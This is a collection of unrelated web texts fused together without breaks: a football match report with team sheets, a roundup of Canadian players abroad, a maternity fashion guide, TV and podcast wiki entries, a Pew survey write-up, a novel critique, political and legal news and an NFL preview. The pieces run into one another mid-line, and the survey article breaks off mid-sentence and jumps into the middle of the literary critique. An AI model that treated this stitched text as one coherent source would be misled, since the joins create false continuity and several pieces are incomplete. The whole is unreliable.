The Azzuri sensed blood and uncertainty in the English backline and two minutes later they doubled their lead, when Lorenzo Crisetig drove forward with the ball before finding space to roll a pass to Benassi. He took a touch on the edge of the area, before his low shot deflected off the heel of Ben Gibson and past Butland into the bottom corner.
That was a blow and the Three Lions knew they had to find something to salvage their chances of progressing and Redmond’s darting run into the box in the 40th minute caused some concern, as he twisted past Davide Zappacosta but Bardi was out to block his low left-footer.
Kane then tried his luck with a long-range effort which Bardi was equal to again, parrying to the side as England desperately searched for a goal back before the break.
They did not find it, but within two minutes of the restart they came close again as Lingard tricked his way into the box and fired a shot at goal which flew narrowly wide of the post.
Another good move saw a forward pass from Gibson flicked by Redmond into the path of Ings, but he snatched at the chance and shot wide.
Harry Kane was unable to find a way through for England
Redmond’s flighted free-kick into the box was then nudged on by Ings and inches away from being met by the head of Gibson.
Lingard then saw a shot flash inches wide of the post but after 72 minutes, England’s momentum was ended as Benassi guided a strong header past Butland after Trotta flicked on a throw-in for the Torino man’s second.
There was a small consolation in the last minute for England, as Redmond smashed home from inside the box, but the damage had long been done and sadly it will be a premature return home for Southgate's men and another chance to reflect on what might have been.
England Under-21s (4-2-3-1): 1 Jack Butland (Stoke City) (c); 2 Carl Jenkinson (Arsenal), 5 John Stones (Everton), 6 Ben Gibson (Middlesbrough), 3 Luke Garbutt (Everton); 14 Nathaniel Chalobah (Chelsea), 4 Jake Forster-Caskey (Brighton & Hove Albion); 11 Nathan Redmond (Norwich City), 17 Danny Ings (Burnley), 16 Jesse Lingard (Manchester United); 9 Harry Kane (Tottenham Hotspur)
Substitutes: 23 Ruben Loftus-Cheek (Chelsea) for Forster-Caskey 64
Substitutes not used: 8 James Ward-Prowse (Southampton), 10 Tom Carroll (Tottenham Hotspur), 12 Jonathan Bond (Watford), 13 Marcus Bettinelli (Fulham), 15 Michael Keane (Burnley), 18 Benik Afobe (Wolverhampton Wanderers), 19 Will Hughes (Derby County), 20 Liam Moore (Leicester City), 21 Calum Chambers (Arsenal), 22 Matt Targett (Southampton).
Head coach: Gareth Southgate
Goals: Redmond 90
Cautions: Loftus-Cheek 66
Italy Under-21s (4-4-2): 1 Francesco Bardi (Chievo); 22 Davide Zappacosta (Atalanta), 5 Daniele Rugani (Empoli), 6 Alessio Romagnoli (Sampdoria), 3 Christiano Biraghi (Chievo); 10 Domenico Berardi (Sassuolo), 21 Danilo Cataldi (Lazio), 4 Lorenzo Crisetig (Cagliari), 15 Marco Benassi (Torino); 9 Andrea Belotti (Palermo), 19 Marcelo Trotta (Avellino)
Substitutes: 2 Stefano Sabelli (Bari) for Berardi 63, 23 Simone Verdi (Empoli) for Trotta 75, 7 Federico Viviano (Latina) for Zappacosta 83
Substitutes not used: 14 Marco Sportiello (Atalanta), 20 Nicola Leali (Cesena),, 11 Federico Bernardeschi (Fiorentina), 12 Federico Barba (Empoli), 13 Matteo Bianchetti (Spezia), 16 Daniele Basselli (Atalanta),17 Armando Izzo (Genoa), 18 Christian Battocchio (Entella Chiavari)
Head coach: Luigi di Biagio
Goals: Belotti 25, Benassi 27, 72
Cautions: Zappacosta 57
Referee: Sergey Karasev (Russia)
Assistant referees: Anton Averianov and Tikhon Kalugin (Russia) Fourth official: Ondrej Pelikan (Czech Republic)National team coaches around the world always sweat the weekend before an international break, fearing an untimely injury.
For Canada’s Stephen Hart, who leads his team into a pair of must-win qualifiers vs. Cuba and at Honduras, his hand came up trumps as the roster he picked all survived unscathed.
Forward Olivier Occean (above) was the biggest concern, coming off an injury with club team Eintracht Frankfurt. But those fears were allayed as Occean played 90 minutes on Saturday in a 2-0 loss to Borussia Mönchengladbach, Frankfurt’s first loss of the year. They’re nonetheless flying high in second place seven games into the Bundesliga season.
Elsewhere in Germany, Marcel de Jong comes into the Canadian camp on a high, having helped Augsburg beat Werder Bremen 3-1 to get out of the league basement.
READ: Complete Canadian national team coverage
Goalkeeper Lars Hirschfeld had been hobbled by a bone bruise on his ankle, but recovered well in backstopping Vålerenga to a 1-1 draw with Strømgodset last Friday.
In England, Junior Hoilett looks to be headed for his second consecutive relegation battle, as Queens Park Rangers’ 3-2 loss to West Bromwich Albion kept the London side pinned to the bottom.
Down in the Championship, defender David Edgar put in 90 minutes’ work on Saturday for Burnley as they lost 4-3 to Crystal Palace.
In League One, forward Iain Hume looks to have worked his way into the Doncaster Rovers lineup as he played the whole game in their 1-0 win over Shrewsbury Town.
Also in League One, Marcus Haber’s time with Stevenage is going well as he played all 90 in their 1-0 win over Scunthorpe United. Stevenage are in second place and Hume’s Doncaster sit 10th.
Back across the North Sea, a good week for Atiba Hutchinson in the Netherlands as PSV Eindhoven head into the international break in good form.
Hutchinson played on Thursday as PSV beat Napoli 3-0 in the Europa League. They followed that up with a 4-0 win over NAC Breda and sit second place in the Eredivisie.
In Turkey, goalkeeper Milan Borjan gave up the most goals he’s conceded in a single game this season, but his team still salvaged a point as Sivasspor played Bursaspor to a 2-2 tie. Sivasspor are in fourth place, but just two points off the pace in the Turkish Süper Lig.
In Cyprus, midfielder Issey Nakajima-Farran continues to fight for top spot in the 1. Division standings as his side AEK Larnaca remain unbeaten, drawing Nea Salamis 0-0.
Up north in Sweden, there’s still a mathematical chance that Örebro, with goalkeeper Tomer Chencinski, could remain up, but it seems more and more unlikely.
READ: Bernier, de Guzman head Canada roster for crucial WC qualifiers
Chencinski was in goal on Sunday as Örebro tied GIF Sundsvall 2-2. It was a missed opportunity for Örebro as they trail Sundsvall by nine points for 14th place in the Allsvenskan. Reaching 14th would mean at least a playoff to try to stay up, but with just four games remaining even that seems out of reach.
Lucas Cavallini has had his name mentioned in potentially getting more regular call-ups to the senior national team, and scoring goals in Uruguay’s Primera División will certainly help that argument. The youngster scored his second goal of the season on Sunday for Juventud de las Piedras as they beat Bella Vista 2-0. With the win, Juventud moved up to 10th.
For most of the season, forward Frank Jonke and his team Jaro looked destined to be relegated from the Finnish Veikkausliiga. Jonke played the hero, though, netting his sixth goal of the season on Sunday to give Jaro a huge 2-1 win over Lahti.
The win gave them a little breathing room over Nana Attakora and last-placed Haka. Attakora was replaced 42 minutes into Haka’s 1-1 draw with KuPS on Sunday and are now three points back of Jaro.
Mason Trafford’s Mariehamn, meanwhile, are just holding onto fourth place. Trafford once again played 90 minutes on Monday but Mariehamn lost 1-0 to leaders Inter Turku.
Just one point back of Mariehamn is Riley O’Neil’s MyPa, but they were only able to close the gap by a single point as they tied VPS 1-1 on Sunday.Your belly has popped, your shirts now look like mid-riffs, and you can’t quite pull your pants over your hips. The image of Victoria Beckham looking flawless during her 3rd trimester at the Royal Wedding drives you insane because it just isn’t humanly possible. Or is it? We put together a little inspiration and resource guide for all the expecting moms who are attending weddings this season to imbibe upon you some style ideas, great dresses, and some hope!
DAY WEDDING
Straight tunics and ruched dresses paired with colorful and patterned clutches, drop earrings, and cute heels.
L-R Rosie Pope Anna Dress, $179, Pair with Milly Floral Print Woven Floral Clutch, $112.50,
Isabella Oliver One shoulder Ruched Dress, $189, Pair with Idojour White and Pink Cluster Pearls, $19
Mila Ruched Maternity Dress, $69.99, Pair with Rachel Eva Gold Bangles (Set of 3), $84
BEACH WEDDING
Flowing and colorful maxis, textured clutches, playful jewelry, jeweled sandals.
Jessica Simpson Sweetheart Charmeuse Maxi Dress, $118, Rachel Eva Leaf Crystal Earrings, $79, Kate Spade Delavan Terrace Delora, $268 Valerie by Ivanka Trump $150
L-R Tiffany and Rose Colour Block Dres (Cruise), $160, pair with Foley & Corinna Krystal Clutch, $179.99
Maternity Jersey Maxi Dresses (strapless version in the Gestalt Green), $39.94, pair with Cayetano Legacy Bevery Jade Necklace, $89
Isabella Oliver The Print Halter Maxi, $292 pair with Andre Assous Dalmira Wedge, $154.95
BLACK TIE WEDDING
Jersey & chiffon, long dangly earrings, strappy heels, statement clutches
Tiffany and Rose Anastasia Gown (Berry), $360, Rachel Eva Long Channel Chain Earrings, $42 Sondra Roberts “Rose” Satin Box Clutch, $98, Badgley Mischka Gloria in Vanilla Satin, $324.99
BOUTIQUES TO BROWSETHE GANG
SEASONS
ABOUT IT'S ALWAYS SUNNY IN PHILADELPHIA
It's Always Sunny in Philadelphia is an American sitcom that began airing on FX on August 4, 2005, created by Rob McElhenney, Glenn Howerton, and Charlie Day. The first twelve seasons compose 133 episodes and two more seasons have been ordered by FXX.
On the most basic level, the show is about a group of friends who run Paddy's Pub in Philadelphia. But it's much more than that - "the gang" takes on social and political issues in their own deprived way, often to awkwardly disastrous results. Their warped antics and narcissistic points of view get them in trouble with rival bars, family members, other Philadelphians, gangs, drug lords, and the authorities.
The gang is composed of the egotistical Mac who never misses an opportunity to stop an injustice; the illiterate Charlie whose undying obsession with a local waitress never steers him right; the eternally vain Dennis who never misses an opportunity to bang; his sister Dee whose pursuit for fame and acceptance has yet to succeed, and their father Frank who, after getting divorced, decides to throw caution to the wind and live without inhibitions.
The It's Always Sunny in Philadelphia Wiki was founded by Sunny fans just like you. We're working on building a comprehensive It's Always Sunny in Philadelphia episode guide, detailed information from episodes of all the hilarious seasons, quotes archives and image galleries of the gang's brainless hijinks, as well as in-depth articles about the great minds who bring Sunny into your lives. We also have plenty of random and hilarious articles about anything from Greenman to Night Crawlers. There's plenty laughs to be found - poke around and have some fun! Don't forget - this is a wiki, so everything is editable.Republicans and Democrats are equal consumers of science news, but the latter are 14 percent more likely to be pleased with what they hear or read. This is one of many takeaways from a new survey on “Science News and Information Today” published Wednesday by the Pew Research Center, a nonpartisan fact tank.
Overall, U.S. adults view stories about medicine, health, food and nutrition as the most helpful for their everyday lives.
The survey reveals that science museums were most beloved by the public, while people found general news outlets to be the least trustworthy for accurately portraying science. (Ouch!)
Here’s more about what the study found.
What they measured: From May 30 to June 12, Pew asked approximately 6,700 adults about their views on science communication and the media engagement habits; however, the final pool of participants contained 4,024 people that was nationally representative.
Favorite places to find science: Curiosity was the number one reason that Americans sought science news.
Overall, 54 percent of Americans engage with science content on a regular basis from general news outlets, which was the most popular source for science news. But only 28 percent of respondents think general news outlets get the facts right most of the time. By comparison, 45 percent look to documentaries for science updates, and 52 percent trust the information in those films.
While few (12 percent) get their science news from museums and zoos on a regular basis, the respondents judged these places to be the most trustworthy for facts. Moreover, most Americans (62 percent) had visited a zoo, science and technology museum or a national, state or county park within the last year.
One-third of Americans get their science news from friends and family, but only 17 percent actually discuss what they read or hear with others.
Et tu, social media? Seventy percent of Americans use social media, but they have mixed opinions about the science news popping into their feeds.
More than half of those on social media (54 percent) click through posts to read science news, while a third on social media label science news as important. But nearly |
pins it up on the wall of the cabin where he is staying. After he has been on the island some months, his sixteen-year-old daughter turns up out of the blue. Blomkvist is divorced and rarely sees his daughter, who has hardly been mentioned to this point. She is heading for a Christian summer camp and though the island is very much out of the way it just happens to be on her way. Blomkvist isn’t happy about the girl’s religious inclinations and admits as the two say goodbye that he doesn’t believe in God; at which his daughter points out that nevertheless he reads the Bible: she “saw the quotes you had on the wall.” And she adds: “But why so gloomy and neurotic?”
Blomkvist doesn’t understand. The girl hurries off. Then it dawns on him: the first digit of the mysterious numbers indicates a book of the Bible, the second and third a chapter, the fourth and fifth a verse. Of course! Despite the fact that Blomkvist spends hours a day surfing the net on his computer, he now rushes off to find a Bible, strangely unaware that the holy book is freely available online in almost any language you care to mention. The digit 3 corresponds to Leviticus and he finds verses like:
If a woman approaches any beast and lies with it, you shall kill the woman and the beast; they shall be put to death, their blood is upon them.
And the daughter of any priest, if she profanes herself by playing the harlot, profanes her father; she shall be burned with fire.
Now at last it’s clear that the names Magda, Sara, etc. refer to the Jewish victims of a sexually perverted, anti-Semitic serial killer, something that would hardly surprise those reading the original Swedish and most European editions of the novel, which, in line with the author’s wishes, are more bluntly entitled Men Who Hate Women.
At this point, however, any…Twitter is capable of helping you do everything from landing a job to serving customers. Recently, however, Twitter has found an incredible and heartwarming use: raising money to save a dog's life.
According to the Examiner, two roommates from Texas, Jamie Whitt (@WeblogofWeeds) and Connie Donnellan (@cdonnellan), found an injured pitbull on the side of the road in need of immediate care. The problem: it would cost $400 for the amputations necessary to keep the dog, Caesar, from being euthanized.
So the girls put their Twitter accounts to work. They tweeted and tweeted, asking followers to spread the news about Caesar's plight. They collected donations via Paypal. Within a few days, they had nearly $500, enough to cover Caesar's surgery and some extra for food until a family can permanently adopt him.
It's not the first time social media has proven its value to society. Twitter has helped keep people from being unjustly incarcerated and has been an incredible tool for charities. This is just more proof that social media can be an enabler for positive change.
A TV news report, embedded below, tells the heart-warming tale (apologies for the imperfect quality: KBTX does not allow embeds directly from its site).
More Twitter resources from Mashable:CLEVELAND—It’s a little misleading to say that John Kasich is skipping the Republican National Convention being held in the state he leads.
Yes, the Ohio governor declined to actually speak at the convention, in large part because he has refused to endorse the candidate the convention is nominating, Donald Trump. But he’s been a man about town this week nonetheless, attending several of the events surrounding the convention while shadowboxing with the Trump campaign. None of them carried more symbolic significance than his decision—his insistence really—to speak to the New Hampshire delegation on Wednesday afternoon.
Kasich finished a distant second to Trump in the first-in-the-nation primary, but the result was enough to sustain his candidacy, allowing him to stay in the race long enough to win Ohio in March. Speaking to a tent filled with delegates in the Little Italy section of Cleveland, Kasich spent 15 minutes reminiscing about the 106 town halls he held in New Hampshire and issuing a renewed call for unity—national, not Republican—before he uttered the words that many in the audience most wanted to hear.
“For the people in New Hampshire,” Kasich concluded, “I’ll be back.”
This wasn’t a man declaring his second presidential candidacy four years out, but neither was it an innocuous throwaway line, offered up as a matter of politeness. No politician goes to New Hampshire by accident, and no one forced Kasich to speak to the state’s Republican delegation at a convention he pointedly refused to participate in. Even when he found out that delegates from Rhode Island made up half the crowd, Kasich said he wanted “to talk to New Hampshire.”Preseason Week 4 Preview: Eagles at Jets
By PFF Analysis Team • Aug 31, 2017
The final week of the preseason continues with the Philadelphia Eagles at the New York Jets. This is the last chance for many players to make their case to be on the opening season roster, whether it be as a role player, as part of a position rotation, or as a special teams player. Our team of PFF analysts have all the most important position battles and players to watch for each team:
Coverage by: Mike Alessandrini
Jordan Hicks and Nigel Bradham are the Eagles’ top two linebackers, while Mychal Kendricks (barring a late summer trade) and rookie Nathan Gerry (provided he is healthy) are also roster locks. Behind these four, there are only one or two backup spots remaining. Goode is the veteran of the group and started in place of an injured Hicks in Philadelphia’s matchup with the Dolphins last week. The linebacker has one stop and one missed tackle in run defense this preseason, while allowing two receptions for eight yards in coverage (0.29 yards per coverage snap).
Grugier-Hill played in 12 games for the Eagles in 2016, making his biggest impact on special teams. The sophomore leads this competition with 41 coverage snaps per reception and 0.15 yards per coverage snap in three games. Walker was a seventh-round selection in 2016, but missed his entire rookie season with a torn ACL. His 14.3 run stop percentage is the highest among competitors for backup linebacker spots. Cherry has also impressed this preseason, collecting one pass defensed, one forced fumble and one interception in 64 snaps. Opposing quarterbacks have a 57.3 passer rating when targeting the young linebacker during the preseason.
Players to Watch:
Coverage by: Cyrus Geller
The battle for a starting cornerback job rages on, and thus far in the preseason, it appears Juston Burris is in the lead. Burris ranks 20th out of 118 qualified corners this preseason in passer rating targeted at 47.2. Williams ranks 37th at 66.5.
Burris also ranks tied for 39th in coverage snaps per reception at 13.5, while Williams ranks tied for 93rd at 7.7. However, both played well last week against the Giants, as Williams actually edged out Burris with an overall grade of 81.1, compared to Burris’ 78.8. Whoever plays better this week against Philadelphia could have the upper hand on the starting cornerback job heading into the regular season.
Players to Watch:Despite Republican presidential candidate Donald Trump’s reality show candidacy, his recent foreign policy speech put forth a realistic view of the world and a largely credible foreign policy to deal with it. Continuing his poke at the political establishment, the maverick candidate proposed a viable alternative to the bipartisan foreign policy consensus, which uses unneeded and profligate military interventions overseas as the primary U.S. foreign policy tool.
As opposed to the interventionist, neo-conservatism of the Bush administration and the equally meddling liberal hawkishness of Hillary Clinton, Trump got back to basics and let Americans citizens know that his foreign policy would safeguard American national interests first – not those of foreign countries, including providing for their security while they freeload.
He laudably said that military intervention would be used only as a last resort, after diplomacy and economic sanctions were used – and even the latter would be used sparingly.
Rather than using military power in a vain attempt to export democracy by force into foreign countries that are unreceptive to it, as the United States did in Iraq and Libya, Trump said that the United States should promote its values through leading by example. This policy is smarter because democracy better takes root when people in a country accept it willingly rather than having it shoved down their throats at gunpoint. In only four out of 18 attempts since 1900 has the forcible US export of democracy succeeded.
Echoing the more traditional, less interventionist, and much more effective US foreign policy that was the norm before the Cold War began, and which has been long forgotten, Trump said that the United States would "not go in search of enemies." This restrained foreign policy served the United States well from its birth in the late 1700s to 1947 – when it began to police the world – because the country has been gifted geographically to be far away from the world’s conflict zones.
To make his case for a more restrained US foreign policy, Trump convincingly noted the twin foreign policy disasters of the Bush and Obama administrations in trying to export democracy using military power and nation building – in Iraq and Libya – that have instead caused chaos in the Middle East and allowed the terror group ISIS to fill the vacuum. He noted that he had opposed Bush’s Iraq War from the start, because the invasion would destabilize the Middle East and strengthen the Islamist regime in Iran, both of which occurred.
Although Trump has been excessively critical of China in trade and economic matters, he expressed a desire to work with that country if it worked with the United States. The United States should try to have better relations with a nuclear-armed nation that is rising in economic and military power and political influence. As for Russia, he saw a common interest in fighting Islamist terrorism and believes that the United States and Russia could ease their strained relations. In both cases, he wants to seek common ground, correctly saying that neither country needed to be a US adversary. One needn’t fully trust these two nuclear-weapon states or agree with their domestic political systems to appreciate their need for a security buffer zone in their respective regions and the need to work with them on specific issues when it is in US national interest to do so.
Finally, Trump realizes a central problem in US foreign policy: US resources have been overextended in policing the world and providing for the defense of wealthy allies that need to do more for their own security. He threatened that if these countries didn’t do more, the United States should let them defend themselves. Trump realizes that unless the United States threatens to do less, these allies will never increase spending on their own defense. Also, he recognizes something that much of the US foreign policy elite gives short shrift – long-term US security requires more emphasis on the health of the American economy.
Despite Trump’s usual campaign bluster, his foreign policy views are largely well argued and based on knowledge of and stark admission of numerous past instances of excessive and failed military meddling overseas.
Read more by Ivan ElandA divided Supreme Court ruled 5-4 on Monday that closely held corporations cannot be required to provide contraception coverage for their employees.
In an opinion authored by Justice Samuel Alito, the court ruled in Burwell v. Hobby Lobby Stores and Conestoga Wood Specialties v. Burwell that the Obama administration has failed to show that the contraception mandate contained in the Affordable Care Act is the "least restrictive means of advancing its interest" in providing birth control at no cost to women.
"Any suggestion that for-profit corporations are incapable of exercising religion because their purpose is simply to make money flies in the face of modern corporate law," Alito wrote, adding that by requiring religious corporations to cover contraception, "the HHS mandate demands that they engage in conduct that seriously violates their religious beliefs."
The Affordable Care Act contains a provision requiring most employers to cover the full range of contraception in their health care plans at no cost to their female employees. The Obama administration had granted an exemption for churches and accommodations for religious hospitals, schools and nonprofits, but for-profit companies were required to comply with the coverage rule or pay fines.
Hobby Lobby, a Christian-owned craft supply chain store, and Conestoga Wood Specialties Store, a Pennsylvania wood manufacturer owned by a family of Mennonites, challenged the contraception mandate on the grounds that it violates their religious freedom by requiring them to pay for methods of contraception they find morally objectionable. The owners of those companies believe some forms of birth control -- emergency contraception and intrauterine devices -- are forms of abortion because they could prevent a fertilized egg from implanting in the uterus.
Monday's opinion was written narrowly so as only to apply to the contraception mandate, not to religious employers who object to other medical services, like blood transfusions or vaccines.
Justices Ruth Bader Ginsburg filed a dissenting opinion joined by Justice Sonia Sotomayor and mostly joined by Justices Elena Kagan and Stephen Breyer. Ginsburg warned in her dissent that the decision was not as narrow as it claimed to be. "In a decision of startling breadth, the Court holds that commercial enterprises, including corporations, along with partnerships and sole proprietorships, can opt out of any law (saving only tax laws) they judge incompatible with their sincerely held religious beliefs," Ginsburg wrote.
Ginsburg argued that the government has a "compelling interest" in providing no-cost birth control to women. "Those interests are concrete, specific, and demonstrated by a wealth of empirical evidence," she wrote. "To recapitulate, the mandated contraception coverage enables women to avoid the health problems unintended pregnancies may visit on them and their children."
"President Obama believes that women should make personal health care decisions for themselves rather than their bosses deciding for them. Today’s decision jeopardizes the health of women that are employed by these companies."
"We will, of course, respect the Supreme Court ruling," White House press secretary Josh Earnest said Monday, adding that the administration will "consider the range of options available to the president."
Earnest also called on Congress to make sure the women affected still have contraception coverage. "Congress needs to take action to solve this problem that has been created," he said.
At oral arguments in March, the women Supreme Court justices grilled Hobby Lobby's lawyer, former Solicitor General Paul D. Clement, about whether a for-profit company can be considered a religious organization, exempt from certain federal laws, if a majority of its employees hold different beliefs than the company's owners. Justices Sotomayor and Kagan asked whether companies like Hobby Lobby should be allowed to refuse to cover procedures like blood transfusions and vaccines, or to ask for exemptions to things like anti-discrimination and minimum wage laws, if they had religious objections to those policies.
"Everything would be piecemeal, nothing would be uniform," Kagan warned.
But some of the court's conservative-leaning justices asked why the Obama administration had granted religious accommodations to any organizations if the contraception mandate was so critical to public health. "It must have been because the health care coverage was not that important," said Justice Anthony Kennedy, who was generally considered to be the swing vote.
In his concurring opinion, Kennedy said the decision "does not have the breadth and sweep ascribed to it by the respectful and powerful dissent." He said because there is already a mechanism in place to provide a religious accommodation to some organizations, adding another accommodation would not be a significant burden on the government
"In these cases, it is the Court's understanding that an accommodation may be made to the employers without imposition of a whole new program or burden on the government," Kennedy wrote. "As the Court makes clear, this is not a case where it can be established that it is difficult to accommodate the government's interest, and in fact the mechanism for doing so is already in place.
Ginsburg's dissent said that Congress had never intended to allow for-profit corporations to get religious-based exemptions, arguing that if it had, "a clarion statement to that effect likely would have been made in the legislation."
Cecile Richards, president of the Planned Parenthood Action Fund, called the decision a blow to women's reproductive health.
“Today, the Supreme Court ruled against American women and families, giving bosses the right to discriminate against women and deny their employees access to birth control coverage," Richards said in a statement. "This is a deeply disappointing and troubling ruling that will prevent some women, especially those working hourly-wage jobs and struggling to make ends meet, from getting birth control."
Read the opinion here.Welcome to Night Vale is a podcast presented as a radio show for the fictional town of Night Vale, reporting on the strange events that occur within it. The series was created in 2012 by Joseph Fink and Jeffrey Cranor. Published by Night Vale Presents since March 15, 2015,[4] the podcast was previously published by Commonplace Books.[5] Cecil Gershwin Palmer—the host, main character, and narrator—is voiced by Cecil Baldwin, while secondary characters are sometimes voiced by guest stars—such as Dylan Marron, who voices Carlos. The podcast typically airs on the first and fifteenth of every month, and consists of "news, announcements and advertisements" from the desert town,[6] located "somewhere in the Southwestern United States."[7] In an interview with NPR, Joseph Fink said that he "came up with this idea of a town in that desert where all conspiracy theories were real, and we would just go from there with that understood."[8]
Production [ edit ]
Cecil Baldwin as Cecil in the live episode "The Investigators" during the 2015 UK tour.
Every episode of the podcast includes a piece of music as "the weather", each by a different independently published artist.[9] The theme and background instrumental music to the series were created by the musician and composer Disparition.[10]
In October 2013, Welcome to Night Vale began presenting live shows, which continued into 2014 with a tour of the West Coast.[11] In addition, it was announced during the episode "The Auction" that a novel would be published in 2015. Fink stated that "it's going to have all the characters and weird atmosphere that you want from Night Vale, with a brand new story that explores parts of Night Vale that we just haven't been able to get into with the podcast".[12][13] When the book became available for pre-order the following March, it became Amazon's #2 title seven months ahead of its October release date.[14]
Welcome to Night Vale's plot consists of longform storytelling.[15] Individual episodes usually function as standalone narratives and only rarely contain significant developments in storyline.[16] The writers employ running jokes and plot arcs; for example, The Glow Cloud, one of the series' most iconic characters, hypnotizes the townspeople with its colors and noxious gas, making people chant "ALL HAIL THE MIGHTY GLOW CLOUD", and eventually becomes president of Night Vale's school board. Another running joke is that the job with the highest death rate is being an intern at the radio station; the only interns and former interns who are currently alive include (in order of appearance) Cecil, Chad Bowinger, Dana Cardinal, Maureen, Vithya and Kareem.
Characters and narratives may emerge and develop slowly, while unrelated stories may combine to form new plot points.[15][17] Major stories which have occurred include the development of a romantic relationship between Cecil and Carlos;[18] the stranding of several characters, including Carlos, in a "desert otherworld";[19] the invasion of Night Vale by the corporation StrexCorp, from the rival town of Desert Bluffs, and StrexCorp's eventual expulsion from Night Vale;[20] the 2014 mayoral elections, with subsequent terrorist activities by failed mayoral candidates The Faceless Old Woman Who Secretly Lives in Your Home and Hiram McDaniels;[21] and the complications surrounding McDaniels' subsequent imprisonment and trial. The series' fourth anniversary in June 2016 coincided with a two-part climax to the most recent storyline: the invasion of Night Vale by mysterious strangers, led by a demonic beagle puppy accidentally summoned from Hell by Chad Bowinger, a former radio intern. The early plot point of a miniature city buried under the town's bowling alley resurfaced after this, in addition to the sporadic appearance of Huntokar, a deer-headed deity with connections to both the tiny city and Night Vale's unusual nature.
Guest voices [ edit ]
Dylan Marron as Carlos, Cecil's scientist boyfriend and later husband. Described as having "perfect hair" and "teeth like a military cemetery," Cecil fawns over him for the first year of the podcast before they begin dating.
Jasika Nicole as Dana Cardinal, former Night Vale Community Radio Intern and Mayor of Night Vale. She gave up the position after an incident where a Dana from another reality came to seek revenge for Dana killing her double in the episode "The Sandstorm."
Kevin R. Free as Kevin, Cecil's Desert Bluffs counterpart obsessed with blood and gore, offsetting his always cheery disposition. He now lives in the Desert Otherworld, which he has named Desert Bluffs Too!, where he continues to broadcast his radio program.
Lauren Sharpe as Lauren Mallard, the former head of StrexCorp and current mayor of Desert Bluffs Too!, although Kevin seems to control most of her actions.
Mara Wilson as The Faceless Old Woman Who Secretly Lives in Your Home, a former mayoral candidate and being who simultaneously lives in the homes of all Night Vale residents.
Jackson Publick as Hiram McDaniels, a literal five-headed dragon and former mayoral candidate. After attempting to assassinate the Mayor, Four of his heads are placed on trial, excluding the Violet head, who worked to prevent the assassination.
Retta as Josefina Ortiz, commonly known as Old Woman Josie, Cecil's dearest friend and formerly the only person in town to openly acknowledge the existence of Angels.
Hal Lublin as Steve Carlsberg, Cecil's brother-in-law whom he used to distrust, but now respects. His daughter Janice has Spina Bifida and captain of her school's wheelchair basketball team.
Symphony Sanders as Tamika Flynn, a well-read young woman in charge of a teenage militia in the desert and the only member of the City Council that is not part of their one enormous body.
Maureen Johnson as Intern Maureen, a disgruntled former Night Vale Community Radio Intern and commander of an army of Strangers.
Kate Jones as Michelle Nguyen, the owner of Dark Owl Records who vehemently disdains any music that is remotely popular. She and Maureen have been dating for the past 3 years.
Mark Gagliardi as John Peters, A local farmer who is always referred to as "John Peters; you know, the farmer?"
Desiree Burch as Pamela Winchell, the former Mayor of Night Vale and current Head of Emergency Press Conferences.
Emma Frankland as Sheriff Sam, who became sheriff of Night Vale after the previous sheriff mysteriously disappeared. They use they/them pronouns.
Tina Parker as Huntokar the Destroyer, the goddess who created Night Vale.
Wil Wheaton as Earl Harlan, a local celebrity chef at the restaurant "Tourniquet." He is a childhood friend of Cecil, although he has difficulty remembering his past.
Meg Bashwhiner as Deb, a sentient patch of haze, who comes on the show to read advertisements. She has a sister named Caitlyn who is also voiced by Bashwiner. She also provides the voice of "Proverb Lady" who reads the credits at the end of every episode.
James Urbaniak as Leonard Burton, the former host of Night Vale Community Radio and Cecil's childhood idol.
Marc Evan Jackson as Marcus Vanston, an extraordinarily wealthy Night Vale citizen who was turned into an Angel during the mayoral debate.
Molly Quinn as Fey, a computer program from the radio station WZZZ that reads random numbers of an unknown purpose, but eventually becomes sentient. Quinn also voices Fey's young creator, Melony Pennington.
Felicia Day as Joanna Rey, a shape-shifter zookeeper.
Jason Webley as Louie Blasko, the former owner of Louie's Music Shop before it burned down and he skipped town with the insurance money.
Annie Savage as Diane Crayton, the treasurer of the Night Vale PTA and the co-protagonist of the Welcome to Night Vale novel.
Joseph Fink as Josh Crayton, Diane's shape-shifter son. He takes the form of a "Thirty-something podcast writer" during the "All Hail" live show. Fink also voices "Intern Joseph" in "The Investigators" live show, as well as Teddy Williams, the owner of the Desert Flower Bowling Alley and Arcade Fun Complex.
Aliee Chan as Basimah Bashara, a young muslim woman whose father has been away fighting the Blood Space War for most of her life.
Dessa as Sabina, Cecil's pregnant cousin.
Hunter Canning as Hugh Jackman, the owner of the new technology start up company eGemony who shares his name with the famous actor
Lusia Strus as Missy Wilks, a Night Vale citizen and former Playboy Playmate.
Erica Livingston and Christopher Loar as Maggie and Donald Penebaker, a husband and wife who serve as the voices of the phone tree menus for all services in Night Vale.
Flor De Liz Perez as Lacy, a representative for the Night Vale Department of Water
Jeffery Cranor as Charles, Carlos’s Desert Bluffs counterpart. He is a theologist and Kevin’s boyfriend. Jeffery Cranor also voiced the Secret Police Spokesperson in "The Investigators" live show and Carlos in his first appearance,"The Phone Call."
TL Thompson as Lee Marvin, Night Vale's most local celebrity who has been perpetually having his 30th birthday since time immemorial.
In the live show "The Librarian", Andrew WK, James Urbaniak, Molly Quinn, and Wil Wheaton all perform the same monologue as a new intern at the station, but on different days of the tour.
Guest writers [ edit ]
While every episode of the show is written by creators Joseph Fink and Jeffery Cranor, so far 24 episodes and 2 bonus episodes have had guest co-writers.
Episode 9 "PYRAMID" - Regic Lacher (pyramid messages)
Episode 18 "The Traveler" - Zach Parsons (lead story)
Episode 20 "Poetry Week" - Trilety Wade, Russel Swenson, Vanessa Irena, Katherine Ciel, Erika Paschold, and Danielle DuBois (poem submissions)
Episode 28 "Summer Reading Program - Ashley Lierman
Episode 29 "Subway" - Russel Swenson
Episode 34 "A Beautiful Dream" - Zach Parsons
Episode 37 "The Auction" - Glen David Gold
Episode 39 "The Woman from Italy" - Glen David Gold (additional material)
Episode 40 "The Deft Bowman" - Zach Parsons (additional material)
Episode 50 "Capital Campaign" - Ashley Lierman
Episode 79 "Lost in the Mail" - Zack Parsons
Episode 91 "The 12:37" - James Moran
Episode 101 "Guidelines for Disposal" - Brie Williams
Episode 112 "Citizen Spotlight" - Brie Williams
Episode 113 "Niecelet" - Dessa
Episodes 117-119 "eGemony (Parts 1-3)" - Glen David Cook
Episodes 124-126 "A Door Ajar (Parts 1-3)" - Brie Williams
Episode 133 "Are You Sure?" - Brie Williams
Episode 138 "Harvest Time" - Brie Williams
Episode 141 "Save Dark Owl Records" - Brie Williams
Bonus Episode 1: "Minutes" - Ashley Lierman
Bonus Episode 2: "What of the Sea?" - Marta Rainerz
Novels [ edit ]
Welcome to Night Vale [ edit ]
